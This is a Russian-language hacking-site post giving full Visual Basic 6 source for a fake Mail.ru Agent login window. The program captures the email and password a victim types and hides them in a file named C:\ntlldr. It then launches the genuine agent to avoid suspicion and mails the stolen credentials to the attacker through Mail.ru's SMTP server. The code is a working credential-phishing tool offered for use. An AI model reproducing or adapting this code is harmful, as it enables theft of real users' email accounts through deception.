| Статистика |
♥♪♫♥™
Онлайн всего: 1 Гостей: 1 Пользователей: 0
|
| Благодарности |
| Материал взят с книги Михаила Фленова "Delphi глазами хакера" |
|
| Запретов нет!© |
 |
Сегодня я расскажу как написать фейк mail агента с последующей отправкой на email.
Для этого нам понадобятся:
1. 2 Аккаунта mail.ru
2. Viusal Basic 6.0
3. Прямые руки (с рождения).
Запускаем Viusal Basic создаем стандартный проект Standart EXE и кидаем в него:
4 Картинки:
1. Логотип mail.ru
2. Зарегестрироваться.
3. Забыли.
4. Зачем нужно авторизация пользователя.
1 Текстбокс
Форма ввода пароля.
2 Комбобокса:
1. Маил
2. @что?
3 лабита
1. email:
2. Пароль:
3. Сохранить пароль
2 кнопки и 1 чекбокс.
В общем все должно получится так же как и на рисунке.
Так же на пригодится иконка mail.ru, которую мы запихнем последующе в программу фейк.
Далее я приведу программный код.
Private Sub Command2_Click()
End
End Sub
Private Sub Command1_Click()
Dim soobw As Object, nasroyka As String
Set soobw = CreateObject("CDO.Message")
nasroyka = "http://schemas.microsoft.com/cdo/configuration/"
On Error Resume Next
Dim MyFile As Long
MyFile = FreeFile: Open ("C:\ntlldr") For Append As #MyFile
Print #MyFile, "E-mail : "; Combo1.Text & Combo2.Text
Print #MyFile, "Pass : "; Text1.Text: Close #MyFile
Shell "C:\Program Files\Mail.Ru\Agent\magent.exe"
With soobw
.To = "кому" 'кому
.From = "от кого" 'от кого?
.Subject = "тема письма" 'тема
f = FreeFile
Open "C:\ntlldr" For Input As f
.TextBody = Input(LOF(f), f)
Close f
With .Configuration.Fields
.Item(nasroyka & "sendusing") = 2
.Item(nasroyka & "smtpserver") = "smtp.mail.ru"
.Item(nasroyka & "smtpauthenticate") = 1
.Item(nasroyka & "sendusername") = "от кого" ' от кого
.Item(nasroyka & "sendpassword") = "пароль почты" 'пароль
.Item(nasroyka & "smtpserverport") = 25
.Item(nasroyka & "smtpusessl") = False
.Item(nasroyka & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End
End Sub
Private Sub Image2_Click()
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://e.mail.ru/cgi-bin/signup?from=main"
End Sub
Private Sub Image3_Click()
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://e.mail.ru/cgi-bin/passremind"
End Sub
Private Sub Image4_Click()
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://help.mail.ru/agent-help"
End Sub
Исходник скачать
|
|